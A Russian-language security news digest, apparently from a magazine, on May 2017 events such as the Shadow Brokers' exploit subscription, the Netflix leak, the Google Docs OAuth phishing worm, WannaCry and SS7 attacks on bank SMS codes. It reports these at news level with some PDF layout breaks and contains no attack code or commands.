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ЭКСПЛОИТЫ
СПЕЦСЛУЖБ ПО
ПОДПИСКЕ
В середи не мая хакер ская груп па The Shadow Brokers   ско рый
запуск нового сер виса. Оче вид но, хакеры решили, что мас совые ата ки Wan‐
naCry  сде лали  им  неп лохую  рек ламу,  поэто му  The  Shadow  Brokers  пред ‐
ложили всем заин тересо ван ным лицам офор мить под писку на сер вис «Еже ‐
месяч ный  дамп  The  Shadow  Brokers»  (TheShadowBrokers  Data  Dump  of  the
Month), чье наз вание говорит само за себя.

анон сирова ла

Груп пиров ка пообе щала  каж дый месяц пуб ликовать для сво их под писчи ‐
ков  экс пло иты  уяз вимос тей  в  Windows  10,  бра узе рах,  про шив ках  роуте ров
и мобиль ных устрой ств, а так же ском про мети рован ные дан ные из сетей про ‐
вай деров  SWIFT  и  информа цию  о  ядер ных  и  ракет ных  прог раммах  Рос сии,
Китая, Ира на и Север ной Кореи.

Ра нее  груп па  уже  неод нократ но  пыталась  монети зиро вать  инс тру мен ты,
похищен ные  у  спец служб в 2016  году. Сна чала  хакеры   их
на откры том аук ционе, затем   о стар те кра удфандин говой кам пании,
а  ког да  это  не  сра бота ло,  попыта лись  .  Тем
не  менее  все  эти  попыт ки  не  при нес ли  никаких  резуль татов,  и  в  апре ‐
ле 2017 года груп па   инс тру мен тарий АНБ в откры том дос тупе
и совер шенно бес плат но.

пы тались про дать
объ яви ли

про давать  экс пло иты  пош тучно

об народо вала

В  кон це  мая  2017  года  груп па  пояс нила,  что  под писка  на  еже месяч ный
дамп  с  информа цией  и  инс тру мен тами  спец служб  будет  сто ить  100  Zcash
(око ло  22  тысяч  дол ларов  по  текуще му  кур су).  Эту  сум му  нуж но  перевес ти
на  опре делен ный  кошелек,  ука зав  email  для  дос тавки  кон тента.  Сде лать
это  нуж но  не  поз днее  30  июня  2017  года.  Разос лать  пер вый  дамп  хакеры
пообе щали в июле.

Как толь ко The Shadow Brokers озву чили сто имость под писки, в ИБ‐сооб ‐
щес тве  раз горелись  жар кие  спо ры.  К  при меру,  извес тный  спе циалист
в  области  информа цион ной  безопас ности  Кевин  Бомонт  (Kevin  Beaumont)
писал,  что,  если  про изво дите ли  нач нут финан сировать  The  Shadow Brokers,
вып лачивая им более 20  тысяч дол ларов в месяц,  это ста нет  «новым дном»
для  все го  infosec‐сооб щес тва.  Бомонт  убеж ден,  что  чле ны  Equation  Group
(груп пы  «пра витель ствен ных  хакеров»,  которую  и  обок рали  The  Shadow
Brokers и чья связь с АНБ дав но доказа на) дол жны про явить ответс твен ность
и  сами  рас крыть  информа цию  о  сво их  экс пло итах  и  свя зан ных  с  ними  уяз ‐
вимос тях.

Од нако  не  все  при дер жива ются  похожей  точ ки  зре ния.  Так,  нес коль ко
незави симых  спе циалис тов  решили  объ еди нить  уси лия  и  запус тили
на  Patreon    по  сбо ру  средств  на  покуп ку  экс пло итов.  Зап латить
хакерам  пред ложили Мэтью  Хики  (Matthew Hickey, @HackerFantastic), @X0rz,
Николас Уивер (Nicholas Weaver, @ncweaver) и Тим Страц цере (Tim Strazzere,
@timstrazz).

кам панию

Ис сле дова тели наде ялись, что им удас тся соб рать нуж ную сум му вов ремя,
под писать ся  на  сер вис  хакеров  и  получить  июнь ский  дамп  The  Shadow
Brokers  одни ми  из  пер вых.  Они  рас счи тыва ли  сра зу  передать  экс пло иты
и информа цию о багах про изво дите лям уяз вимых решений. Пред полага лось,
что  жер тво вате ли,  поучас тво вав шие  в  сбо ре  средств,  так же  получат  дос туп
к дам пу хакеров, но поз днее, пос ле про изво дите лей.

Хо тя  все го  за  36  часов  пос ле  стар та  кам пании  было  соб рано  поч ‐
ти  4000  дол ларов,  в  ито ге  ини циати ву  .  Дело
в том, что ини циато ры сбо ра средств все же решили посове товать ся с юрис ‐
тами, — и те приш ли в ужас от про исхо дяще го.

приш лось  спеш но  отме нить

«Если  захоти те  услы шать,  как  адво кат  кри чит  матом  по  телефо ну,
прос то поз воните ему и рас ска жите, что орга низо вали пер вый в мире
опен сор сный  кра удфандинг,  что бы  попытать ся  при обре ти  киберо -
ружие,  —  писал  Мэтью  Хики.  —  Ока залось,  что,  как  толь ко  день ги
перей дут из наших рук в руки The Shadow Brokers, мы очень рис куем
и  можем  стать  сво его  рода  жер твой  юри дичес ких  слож ностей.
Это слиш ком опас но, нам посове това ли ни при каких обсто ятель ствах
не про дол жать даль ше».

Сто ит отме тить, что на этот раз хакеры не пре дос тавля ют никаких доказа тель ‐
ств сво их слов, то есть нет никакой воз можнос ти убе дить ся, что в руках груп ‐
пиров ки дей стви тель но оста лась какая‐то цен ная информа ция и инс тру мен ‐
ты. Более  того,  уже  тот факт,  что  The Shadow Brokers  решили  исполь зовать
Zcash, нас торожил мно гих спе циалис тов, ведь в отли чие от тран закций в Bit‐
coin дви жение этой крип товалю ты прак тичес ки невоз можно отсле дить.

КОЛИЧЕС ТВО СПА МА И DDOS‐АТАК ЗАМЕТ НО СНИ ‐
ЗИЛОСЬ

 → Спе циалис ты  «Лабора тории  Кас пер ско го»  под вели  ито ги  пер вого  квар тала  2017  года.
Как  ока залось,  спад  наб люда ется  сра зу  в  двух  областях:  поч ти  в  2,5  раза  умень шилось
количес тво вре донос ного спа ма,  а  так же  «утих ли» DDoS‐ата ки. Впро чем, экспер ты отме чают,
что про исхо дящее — не более чем вре мен ное явле ние и затишье перед бурей.

В  пер вом  квар тале  2017  года  зафик сирова ны  ата ки  по  целям,  рас положен ным  в  72  стра нах
мира, что на восемь мень ше, чем в чет вертом квар тале 2016 года.

 → Трой ка  лидеров  по  чис лу  DDoS‐атак  и  количес тву  целей  вклю чает  в  себя  Китай,  Южную
Корею и США.

Рас пре деле ние DDoS‐атак по стра нам

 → На цели в Китае приш лось  ,  что зна читель но мень ше,  чем в прош лом
квар тале (76,97%).

все го 55,11% атак

Про дол житель ность DDoS‐атак сни зилась: самая дол гая дли лась 120 часов, что на 59% мень ‐
ше, чем в прош лом квар тале, ког да была отме чена ата ка дли ной 292 часа. В целом 99,8% атак
дли лось менее 50 часов.

Рас пре деле ние DDoS‐атак по типам

 → В пер вом квар тале 2017 года доля спа ма в поч товом тра фике сос тавила  , и по срав ‐
нению с чет вертым квар талом 2016 года мал вари в поч те ста ло в 2,4 раза мень ше.

55,9%

До ля спа ма в мировом поч товом тра фике

 →  — сред няя доля спа ма в рос сий ском поч товом тра фике за пер вый квар тал 2017 года.61,6%

По количес тву исхо дяще го из стра ны спа ма на пер вом мес те оста лись США (18,75%), а на вто ‐
ром и треть ем рас положи лись Вьет нам (7,86%) и Китай (7,77%).

 → По  ито гам  пер вого  квар тала  2017  года  самым  популяр ным  семей ством  вре доно сов,  рас ‐
простра няющих ся со спа мом, стал Trojan‐Downloader.JS.Agent.

Top‐10 семей ств вре донос ных прог рамм в спа мер ских пись мах

ФИЛЬМ, ФИЛЬМ,
ФИЛЬМ
Май  2017  года  озна мено вал ся  сра зу  нес коль кими  круп ными  инци ден тами,
свя зан ными  с шан тажом,  пиратс твом  и  кра жей  интеллек туаль ной  собс твен ‐
ности.

Вна чале на сце ну вер нулся The Dark Overlord (TDO). Ник то не зна ет навер ‐
няка,  один  это  человек  или  груп па  хакеров.  TDO  сде лал  себе  имя
еще в 2015 году, ког да ата ковал медицин ские орга низа ции, похищал их дан ‐
ные, а затем шан тажом вынуж дал жертв зап латить, угро жая в про тив ном слу ‐
чае обна родо вать всю укра ден ную информа цию.

Те перь  The  Dark  Overlord  вер нулся  с  весь ма  необыч ным  «сли вом».  Он
начал рас простра нять через Twitter ссыл ки на стра ницу Pastebin, репози торий
GitHub  и  раз дачу  на  тре кере  The  Pirate  Bay.  TDO  писал,  что  опуб ликовал
на тре кере 10 из 13 зап ланиро ван ных серий пятого сезона сери ала «Оран ‐
жевый  —  хит  сезона»,  премь ера  которо го  дол жна  сос тоять ся  толь ко
в июне 2017 года.

Ос тавлен ное на Pastebin сооб щение гла сило, что TDO обна родо вал укра ‐
ден ный сери ал, так как пред ста вите ли ком пании Netflix отка зались зап латить
выкуп. При этом хакер писал, что он еще не закон чил. Сооб щалось, что сле ‐
дующи ми  жер тва ми  ста нут  ком пании  ABC,  Fox,  National  Geographic,  IFC
и по‐преж нему Netflix, так как похищен был далеко не один сери ал.

Жур налис там изда ний Torrent Freak и DataBreaches.net уда лось пооб щать ‐
ся с хакером и выяс нить, что в его рас поряже нии находят ся сот ни гигабай тов
еще не вышед ших на экра ны и не под лежащих рас простра нению копий раз ‐
лично го кон тента с сер веров гол ливуд ских сту дий.

Как ока залось, еще в кон це 2016 года от взло ма пос тра дала ком пания Lar‐
son  Studios,  которая  занима ется  пос лесъ емоч ной  обра бот кой  матери алов.
Матери алы еще не прош ли пост про дак шен, так что наз вать кон тент готовым
к релизу нель зя, но смот реть его все же мож но.

TDO рас ска зал, что пот ребовал у Larson Studios выкуп и понача лу пред ста ‐
вите ли  сту дии  были  готовы  пой ти  на  сдел ку.  В  рас поряже нии  Torrent  Freak
даже ока залась копия догово ра, который вымога тель пла ниро вал зак лючить
со  сту дией,  офор мив  «сдел ку»  юри дичес ки.  TDO  рас счи тывал
получить 50 бит кой нов за нерас простра нение похищен ных матери алов, одна ‐
ко пред ста вите ли Larson Studios переду мали и отка зались пла тить.

Тог да TDO перек лючил ся на Netflix, пот ребовав выкуп у популяр ного стри ‐
мин гового сер виса, но пред ста вите ли Netflix вооб ще не ста ли вес ти перего ‐
воры  со  зло умыш ленни ком.  В  резуль тате  пятый  сезон  сери ала  «Оран ‐
жевый — хит сезона» утек в интернет.

Еще  один  гром кий  инци дент  был  свя зан  с Disney.  В  середи не мая  гла ва
Disney Боб Айгер (Bob  Iger)  , что ком пания пос тра дала от дей ствий
неназ ванных  хакеров  и  ста ла  объ ектом  шан тажа.  Яко бы  зло умыш ленни ки
сумели  ском про мети ровать  нес коль ких  сот рудни ков ABC,  в  резуль тате  чего
копии еще не вышед ших в про кат кар тин были укра дены. Пос ле это го похити ‐
тели пот ребова ли от Disney выкуп в бит кой нах (точ ная сум ма не сооб щалась),
а вза мен пообе щали не вык ладывать филь мы в интернет.

со общил

Хо тя  сам  Айгер  не  уточ нил,  о  какой  кар тине  шла  речь,  СМИ,  ссы лаясь
на собс твен ные источни ки, сна чала пред положи ли, что была похище на копия
филь ма «Пираты Кариб ско го моря: Мер тве цы не рас ска зыва ют сказ ки»  (Pir‐
ates of the Caribbean: Dead Men Tell No Tales), а пос ле решили, что так же утеч ‐
ка мог ла зат ронуть фильм «Звез дные вой ны: Пос ледние дже даи»  (Star Wars.
Episode VIII: The Last Jedi).

По ка  прес са  гадала,  что  слу чилось,  пред ста вите ли  Disney  отка зыва лись
ком менти ровать  про исхо дящее.  Это  зас тавило  жур налис тов  усом нить ся
в том, что утеч ка вооб ще име ла мес то, и, как ока залось, совер шенно резон ‐
но. В кон це мая Боб Айгер наконец   и сооб щил Yahoo Fin‐
ance, что никако го взло ма не было:

прер вал мол чание

«Нас коль ко  нам  извес тно,  нас  не  взла мыва ли.  Мы  получа ли  угро зы
отно ситель но взло ма и кра жи филь ма и решили отнестись к про исхо -
дяще му серь езно, но не реаги ровать так, как это го тре бова ли от нас
угро жав шие. Мы не верим, что это прав да. Ничего не слу чилось», —
объ яснил Айгер.

Ос тает ся  неяс ным,  зачем  ком пания  заяви ла  о  взло ме  пуб лично,  а  затем
отмалчи валась две недели, что бы поз же все опро вер гнуть. Впро чем, изда ние
Torrent Freak пред полага ет, что даже сооб щения о таких фаль шивых пиратах
и хакерах могут быть Гол ливуду на руку. Жур налис ты не пыта ются пред ста вить
все так, буд то никако го шан тажа не было вов се. Вымога тели с пус тыми угро ‐
зами, ско рее все го, дей стви тель но были и теперь могут поп латить ся за свою
«шут ку» реаль ным тюрем ным сро ком, учи тывая, что к делу уже под клю чилось
ФБР.

 →   пред лага ет  тор говая  пло щад ка  xDedicЛе том  2016  года
экспер ты обна ружи ли под поль ную тор говую пло щад ку xDedic, где зло умыш ленни ки про дава ли
дос туп к взло ман ным сер верам со все го мира. Тог да работав ший в обыч ном интерне те ресурс
быс тро  исчез  с  радаров  и,  казалось,  прек ратил  свою  деятель ность.  Вско ре  выяс нилось,  что
xDedic про дол жает работу в дар кне те, но ожи далось, что там ресурс не про сущес тву ет дол го.
Теперь,  спус тя  поч ти  год,  ком пания  Flashpoint  сооб щила,  что  xDedic  до  сих  пор  жив  и  явно
не испы тыва ет проб лем, на которые наде ялись спе циалис ты. Если ранее на сай те про дава ли
дос туп  к  70  тысячам  взло ман ных  сер веров,  теперь  xDedic  пред лага ет  сво им  посети телям
более 85 тысяч взло ман ных сер веров.

85  000  взло ман ных сер веров

БОЙСЯ СУБТИТРОВ
Спе циалис ты  ком пании  Check  Point  пре дуп редили  о  :
поряд ка 200 мил лионов поль зовате лей популяр ных меди апле еров под верга ‐
ются  серь езно му  рис ку  из‐за  уяз вимос ти  в  механиз ме  заг рузки  и  пар синга
суб титров.

боль шой  проб леме

Ата кующий  спо собен  соз дать  вре донос ный файл  с  суб титра ми,  заг рузка
которо го  в меди апле ер  при ведет  к  выпол нению  про изволь ного  кода  и  поз ‐
волит зло умыш ленни ку пол ностью перех ватить кон троль над устрой ством.

По  сло вам  иссле дова телей,  перед  дан ной  проб лемой  уяз вимы  мно гие
популяр ные  пле еры.  Так,  уже  были  про тес тирова ны  VLC,  Kodi  (быв ший
XBMC), Popcorn Time и Stremio. Сум марное чис ло их поль зовате лей сос тавля ‐
ет  более  200  мил лионов  (170  мил лионов  заг рузок  нас читыва ется  у  одной
толь ко  пос ледней  вер сии  VLC).  При чем  в  опас ности  находят ся  как  поль ‐
зовате ли ПК, так и вла дель цы умных телеви зоров и мобиль ных устрой ств.

По ка не было опуб ликова но прак тичес ки никаких тех ничес ких под робнос ‐
тей  об  уяз вимос ти,  так  как  спе циалис ты  Check  Point  сле дуют  полити ке
«ответс твен ного  раз гла шения»  информа ции  и  в  пер вую  оче редь  уве доми ли
раз работ чиков уяз вимых меди апле еров. Испра вить проб лему успе ли еще не
все,  поэто му  экспер ты  не  торопят ся  опи сывать  тех ничес кие  детали  и  пуб ‐
ликовать proof‐of‐concept экс пло иты.

Из вес тно,  что  ата кующий  может  экс плу ати ровать  проб лему  дву мя  раз ‐
ными  спо соба ми. Пер вый  воз можный  век тор  атак  пред полага ет,  что жер тву
нуж но заманить на вре донос ный сайт или обма ном зас тавить запус тить вре ‐
донос ный  файл.  Вто рой  век тор  атак  гораз до  хуже.  Дело  в  том,  что  в  Сети
сущес тву ет  мно жес тво  круп ных  репози тори ев  с  суб титра ми  (OpenSubtitles,
Addic 7ed  и  так  далее),  где  зло умыш ленник  может  раз местить  вре донос ные
фай лы. Иссле дова тели пре дуп режда ют, что некото рые из этих сер висов лег ‐
ко  обма нуть,  зас тавив  их  прис воить  вре донос ным  суб титрам  высокий  рей ‐
тинг.

Мно гие меди апле еры работа ют с такими ресур сами нап рямую и доверя ют
им,  а  зна чит,  заг рузка  вре донос ного  фай ла  может  быть  про изве дена  авто ‐
мати чес ки,  без  учас тия  поль зовате ля.  Так  как  боль шинс тво  суб титров  —
это не более чем тек сто вые фай лы с раз меткой, анти вирус ное ПО спо кой но
их про пус тит.

«Про цесс  про изводс тва  суб титров  сло жен,  в  нем  исполь зует ся
более 25 раз личных фор матов, каж дый из которых обла дает уни каль -
ными  фун кци ями  и  воз можнос тями.  Фраг менти рован ная  эко сис тема
наряду  с  огра ничен ной  безопас ностью  под разуме вает  наличие  мно -
жес тва  уяз вимос тей,  что  дела ет  ее  чрез вычай но  прив лекатель ной
целью для зло умыш ленни ков, — говорит Омри Хер шовичи  (Omri Her-
scovici),  руково дитель  коман ды  иссле дова телей  уяз вимос тей  Check
Point. — Мы обна ружи ли, что вре донос ные суб титры могут соз давать -
ся и дос тавлять ся на мил лионы устрой ств авто мати чес ки, минуя сис -
темы  безопас ности.  В  резуль тате  хакеры  получа ют  пол ный  кон троль
над заражен ными девай сами и дан ными, которые на них содер жатся».

 →   переда ли  мошен нику  сот рудни ки  Google  и  FacebookАфе рист  Эвал дас
Римаса ускас,  арес тован ный  в  мар те  2017  года,  обма нул  сра зу  двух  IT‐гиган тов,  выманив
у Google и Facebook более 100 мил лионов дол ларов США. Римаса ускас зарегис три ровал в род ‐
ной Лит ве биз нес, и имя его фир мы (Quanta Computer) сов падало с наз вани ем ази атской ком ‐
пании,  про изво дящей  «железо».  В  пери од  с  2013  по  2015  годы  мошен ник  успешно  выдавал
себя за пред ста вите ля ази атской ком пании. Исполь зуя поч товый спу финг, под делывая сче та,
кон трак ты и пись ма, он сумел обма нуть сот рудни ков Google и Facebook, а так же пред ста вите ‐
лей бан ков, зас тавив их осу щес твить круп ные денеж ные перево ды на его сче та.

$100  000  000

МАССОВЫЙ
ФИШИНГ И GOOGLE
DOCS
На чало мая выдалось не самым спо кой ным для спе циалис тов Google. Неиз ‐
вес тные зло умыш ленни ки запус тили весь ма ори гиналь ную 

,  которая экс плу ати рова ла легитим ные сер висы и фун кции Google и с
огромной  ско ростью  рас простра нялась  сре ди  поль зовате лей,  мас киру ясь
под ссыл ки на докумен ты Google Docs.

фи шин говую кам ‐
панию

Суть  ата ки  была  прос та.  Поль зователь  получал  легитим ное  пись мо
от  одно го  из  сво их  кон тактов,  сооб щавшее,  что  тот  поделил ся  ссыл кой
на некий документ Google Docs.

Ес ли  поль зователь  кли кал  на  при веден ную  в  пись ме  кноп ку,  что бы  перей ти
к  докумен ту,  его  пере адре сова ло  на  нас тоящий,  при над лежащий  Google
экран  выбора  акка унта.  Одна ко  имен но  здесь  и  скры вал ся  ковар ный  трюк.
Дело  в  том,  что  выбор  акка унта  зап рашива ло  при ложе ние  Google  Docs,
которое  не  было  нас тоящим.  Лишь  прос мотрев  деталь ную  информа цию
о  фаль шив ке,  поль зователь  мог  уви деть  дан ные  раз работ чика  и  заметить
обман.

Но  если  жер тва  не  замеча ла  под воха,  выбира ла  акка унт  и  выдава ла
мошен никам  необ ходимые  раз решения,  те  получа ли  дос туп  к  спис ку  кон ‐
тактов поль зовате ля и его акка унту Gmail.

Пос ле это го фаль шивое при ложе ние дей ство вало как клас сичес кий червь:
момен таль но  рас простра нялось  по  все му  спис ку  кон тактов  пос тра дав шего
поль зовате ля, отправ ляя его или ее друзь ям такие же ссыл ки на «докумен ты
Google  Docs».  Бла года ря  механиз му  самораз мно жения  угро за  рас простра ‐
нялась  с  огромной  ско ростью,  и  вско ре  Google  Docs  уже  мож но  было
заметить  в мировых  трен дах  Twitter. Мно гие при води ли срав нение с 

,  который  мно го  лет  назад  спро воци ровал  нас тоящую  эпи демию,
заразив боль шую часть поль зовате лей MySpace.

чер вем
Samy

К  счастью,  мас совой  эпи демии  уда лось  избе жать,  так  как  сот рудни ки
Google  сумели спра вить ся  с  проб лемой  за нес коль ко  часов,  деак тивиро вав
все фаль шивые при ложе ния и  отоз вав  у  них  раз решение на  исполь зование
OAuth.

Нес коль ко  дней  спус тя  ,  что  о  проб леме,  которую  экс плу ати ‐
рова ли  зло умыш ленни ки,  было  извес тно  дав но.  Более  пяти  лет  назад,
в  октябре  2011  года,  иссле дова тель  и  раз работ чик  Андре  Демар ре  (André
DeMarre)  пре дуп реждал  в  рас сылке  IETF,  что  такая  ситу ация  может  воз ‐
никнуть:

вы ясни лось

«Пред ставь те,  что  кто‑то  зарегис три рует  кли ент ское  при ложе ние
с  OAuth-сер висом,  давай те  назовем  его  Foobar,  а  затем  даст  при -
ложе нию имя Google, Inc. Сер вер авто риза ции Foobar будет сооб щать
поль зовате лю:  „Google,  Inc.  зап рашива ет  ваше  раз решение
для  того‑то“.  Вла делец  ресур са  может  подумать:  „Понят но,  я  обос -
нован но  нахожусь  на  сай те  ,  и  Foobar  говорит
мне,  что  Google  нуж но  раз решение.  Я  доверяю  Foobar  и  Google,
поэто му я клик ну раз решить“», — писал Демар ре.

https://www.foobar.com

Ис сле дова тель  не  толь ко  рас ска зал  о  потен циаль ном  век торе  атак  в  рас ‐
сылке,  в 2012  году он  так же пре дуп редил о проб леме спе циалис тов Google
и  даже  получил  «скром ное  воз награж дение»  за  про делан ную  работу.  Раз ‐
работ чики Google яко бы реали зова ли защит ные механиз мы, пре пятс тву ющие
подоб ным  ата кам. Одна ко  они  не  соч ли  нуж ным  позабо тить ся  о механиз ме
валида ции URL, то есть решили, что не сто ит, нап ример, сопос тавлять име на
при ложе ний с URL и име нами ком паний‐раз работ чиков.

Май ская  ата ка  показа ла  инже нерам Google,  что  они  серь езно  ошиб лись
пять лет назад. Хотя, по дан ным ком пании, ата ка зат ронула лишь 0,1% поль ‐
зовате лей,  раз работ чики  решили  при нять  меры.  Теперь  Gmail  для  Android
получит спе циаль ную анти фишин говую «заг лушку». Эта фун кция дол жна пре ‐
дот вра щать момен таль ный переход по потен циаль но вре донос ным ссыл кам:
поль зователь  уви дит  спе циаль ное  пре дос тереже ние,  если  URL  покажет ся
филь трам Gmail подоз ритель ным.

Так же  пред ста вите ли  Google  ,  что  ком пания  в  оче ред ной  раз
уси лит  меры  безопас ности.  В  час тнос ти,  будет  перес мотре на  полити ка
исполь зования OAuth  в  при ложе ниях,  будут  обновле ны  сис темы  антиспа ма,
которые  помога ют  пре дот вра щать  подоб ные  ата ки,  а  так же  раз работ чики
пообе щали  уси лить  кон троль  за  подоз ритель ными  сто рон ними  при ложе ‐
ниями, которые зап рашива ют информа цию поль зовате лей.

со общи ли

WANNACRY

 → В мае 2017 года шиф роваль щик WannaCry стал одной из самых обсужда емых тем во всем
мире. Вот толь ко некото рые циф ры, свя зан ные с мас штаб ной вымога тель ской ата кой.

386 раз личных образцов WannaCry сумели обна ружить спе циалис ты ком пании Trustlook.

 → Ана лити ки Kryptos Logic под счи тали, что боль ше все го в резуль тате атак WannaCry пос тра ‐
дал Китай, а не Рос сия, как счи талось изна чаль но:

 → , поражен ных шиф роваль щиком, работа ли под управле нием раз ных
вер сий Windows 7, по дан ным «Лабора тории Кас пер ско го».

Бо лее 97% устрой ств

 → В кон це мая 2017 года начиты валось  , заражен ных WannaCry.бо лее 450 000 устрой ств
По дан ным спе циалис тов Elliptic, в мае 2017 года опе рато ры вре донос ной кам пании «зарабо ‐
тали» более 140 000 дол ларов.
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SS7 НА СЛУЖБЕ
ХАКЕРОВ
Эк спер ты  дав но  пре дуп режда ют  о  небезо пас ности  набора  сиг наль ных
телефон ных  про токо лов  SS7  (или  ОКС‐7,  сис тема  сиг нализа ции  №   7),
который до сих пор исполь зуют опе рато ры свя зи по все му миру. Дело в том,
что SS7 был раз работан еще в 1975 году и в нас тоящее вре мя без надеж но
уста рел и фак тичес ки не име ет никакой защиты.

Уже не раз иссле дова тели доказы вали небезо пас ность SS7 на деле и опи ‐
сыва ли  воз можные  спо собы  экс плу ата ции  проб лем  сте ка.  Пер вые  иссле ‐
дова ния  и  док лады,  пос вящен ные  проб леме,  были  пред став лены  еще  в
начале 2000‐х годов.

Тем не менее за все эти годы ник то ни разу не сооб щал о реаль ных ата ках
с исполь зовани ем SS7. Пер вый слу чай экс плу ата ции уяз вимос тей зло умыш ‐
ленни ками уда лось обна ружить жур налис там немец кого изда ния Süddeutsche
Zeitung. Они   собс твен ного рас сле дова ния, сог ласно
которо му  прес тупни ки  ата куют  SS7,  что бы  обхо дить  двух фактор ную  аутен ‐
тифика цию  бан ков  и  про водить  неав торизо ван ные  тран закции  с  чужих  сче ‐
тов.

пред ста вили резуль таты

Сна чала  зло умыш ленни ки  тща тель но  готовят ся  к  ата ке  и  собира ют
информа цию  о  бан ков ском  акка унте  жер твы,  узна ют  ее  учет ные  дан ные
и  номер  телефо на,  исполь зуя  для  это го  мал варь  или  фишинг.  Затем  прес ‐
тупни ки совер шают ата ку на SS7,  что бы узнать иден тифика тор mTAN  (mobile
transaction  authentication  number),  который  банк  отправ ляет  в  SMS‐сооб ‐
щении. По сути, mTAN — это одно разо вый пароль, который бан ки исполь зуют
для под твержде ния тран закций. Ата ка поз воля ет пере адре совать SMS‐сооб ‐
щение с паролем на номер, под кон троль ный зло умыш ленни кам, пос ле  чего
оста ется лишь перевес ти средс тва.

Пред ста вите ли  телеком муника цион ной  ком пании  O2‐Telefonica  под твер ‐
дили, что немец кие поль зовате ли ста новят ся жер тва ми таких атак. По сло вам
пред ста вите лей  ком пании,  ата ки  начались  в  середи не  янва ря  2017  года
и исхо дят из сетей зарубеж ных сотовых опе рато ров. При этом спе циалис ты
под черки вают,  что  для  реали зации  подоб ных  атак  пот ребу ется  обо рудо ‐
вание,  которое  мож но  дос тать  в  откры той  про даже,  и  его  сум марная  сто ‐
имость вряд ли пре высит тысячу дол ларов.

Единс твен ной  слож ностью  может  стать  получе ние  спе циаль ного  иден ‐
тифика тора global title (GT), но, судя по все му, для это го ата кующие успешно
под купа ют  сот рудни ков  сотовых  опе рато ров  в  стра нах  треть его  мира
или  арен дуют GT  через  под став ных  лиц,  яко бы  для  дос тавки SMS и  работы
дру гих сер висов.

 →  обна руже но в незащи щен ной БДСпе циалис ты MacKeeper
обна ружи ли в откры том дос тупе незащи щен ную базу дан ных, которую наз вали «матерью всех
уте чек».  Раз мер  БД  сос тавля ет  75  Гбайт,  и  она  содер жит  более  560  мил лионов  паролей.
При под дер жке Троя Хан та и его агре гато ра уте чек Have  I Been Pwned уда лось выяс нить, что
в  базе  пред став лены  243  692  899  уни каль ных  email‐адре сов.  Кому  имен но  при над лежит БД,
оста лось неяс ным, но иссле дова тели пред полага ют, что ее автор не поленил ся соб рать воеди ‐
но резуль таты круп ных уте чек прош лого, то есть база объ еди няет в себе информа цию о поль ‐
зовате лях LinkedIn, Dropbox, Last.fm, MySpace, Adobe, Neopets, River City Media, 000webhost,
Tumblr, Badoo, Lifeboat и дру гих ресур сов.

560 000 000 учет ных дан ных

SHODAN ПРОТИВ
C&C‐СЕРВЕРОВ
Раз работ чики  поис ковика  Shodan  и  спе циалис ты  Recorded  Future 

,  и  резуль татом  их  кол лабора ции  стал  новый  инс тру мент,  интегри ‐
рован ный пря мо в поис ковик Shodan и получив ший наз вание Malware Hunter.
Он поз воля ет опоз навать и находить управля ющие сер веры раз личной мал ‐
вари. Инс тру мент дол жен при годить ся ИБ‐спе циалис там, ведь он поз воля ет
обна ружи вать  новые  С&C‐сер веры  даже  до  того,  как  был  най ден  образчик
самого вре доно са.

объ еди ‐
нились

Malware  Hunter  работа ет  через  спе циаль ные  кра уле ры,  которые  и  ищут
управля ющие  сер веры  в  интерне те.  К  любому  IP‐адре су  в  Сети  эти  боты
обра щают ся как к потен циаль ному управля юще му сер веру и ими тиру ют сво ‐
ими зап росами поведе ние устрой ств, заражен ных раз личной мал варью. Если
компь ютер реаги рует на такую про вер ку и при нима ет кра улер Malware Hunter
за  одно го  из  сво их  ботов,  IP‐адрес  коман дно го  сер вера  про токо лиру ется
и ста новит ся дос тупен через Shodan.

В нас тоящее вре мя Malware Hunter  успешно обна ружи вает  управля ющие
сер веры  раз личных  RAT  (Remote  Access  Trojan),  таких  как  DarkComet,  njRAT,
Poison  Ivy,  Gh0st  RAT.  Новый  инс тру мент  уже  сумел  иден тифици ровать
более 5700 C&C‐сер веров по все му миру. Боль ше все го сер веров было най ‐
дено в США (72%), Гон конге (12%) и Китае (5,2%).

 →   зап латила Yahoo за каж дый байт PoC‐экс пло итаКом пания Yahoo вып латила 14  тысяч
дол ларов незави симо му иссле дова телю Кри су Эван су за 18‐бай тный proof‐of‐concept экс пло ит
для 0day‐уяз вимос ти в ImageMagick. Иссле дова тель обна ружил проб лему, которую наз вал Ya‐
hoobleed #1  (YB1), по ана логии с дру гими *bleed‐уяз вимос тями  (Heartbleed, Cloudbleed). Баг
поз волял  похитить изоб ражения из  поч ты поль зовате лей Yahoo,  заг рузив их  с  сер веров  ком ‐
пании. Хотя баг в ImageMagick был опе ратив но устра нен, пред ста вите ли Yahoo решили не толь ‐
ко  воз награ дить иссле дова теля,  но и отка зать ся от даль нейше го исполь зования  ImageMagick
вооб ще.

$778

VALVE БОРЕТСЯ С
ФЕЙКОВЫМИ
ИГРАМИ
Еще в 2013  году  ком пания Valve добави ла сво ей плат форме Steam сис тему
так  называ емых  кол лекци онных  кар точек  Steam  (Steam  Trading  Cards),
которые  за  про шед шие  годы  успе ли  стать  ходовым  товаром  на  внут ренней
тор говой пло щад ке. Вско ре спрос на кар точки прев ратил ся в нас толь ко важ ‐
ный  эко номи чес кий фак тор,  что  им  ста ло  воз можно  зло упот реблять.  В  этот
момент  в  Steam  появи лись  зло умыш ленни ки,  зараба тыва ющие  на  выпус ке
«фаль шивых» игр и про даже кар точек.

Каж дому  раз работ чику  в  Steam  дос тупна  воз можность  соз дания  клю чей
для сво их игр. Зло умыш ленни ки нагене риро вали мно гие тысячи таких клю чей
и  раз дали  их  бот‐акка унтам,  соз данным  исклю читель но  для  того,  что бы
получать  кар точки.  Даже  если  нас тоящие  игро ки  не  видели  и  не  покупа ли
фаль шивые игры, не содер жащие кон тента, раз работ чики все рав но зараба ‐
тыва ли на про дан ных кар точках, исполь зуя ботов.

Ос новной  слож ностью  для  мошен ников  всег да  было  добав ление  игры
в  Steam.  Что бы  игра  незави симо го  раз работ чика  начала  про давать ся,  она
дол жна  прой ти  голосо вание  сооб щес тва  Steam Greenlight.  В  Valve  изо  всех
сил пыта ются про тивос тоять фаль сифика ции голосов, но каж дый раз наруши ‐
тели находят все новые спо собы.

«Воз можно,  вас  инте ресу ет,  в  чем  имен но  зак люча ется  проб лема.
В  кон це  кон цов,  если  нас тоящие  игро ки  не  замеча ют  такие  игры,
а  кар точки  покупа ют  лишь  те,  кому  они  нуж ны,  выходит,  что  потер -
певших нет. И раз ве Valve не зараба тыва ет на комис сии тор говой пло -
щад ки? Хоть оба этих суж дения и вер ны, проб лема сос тоит в том, что
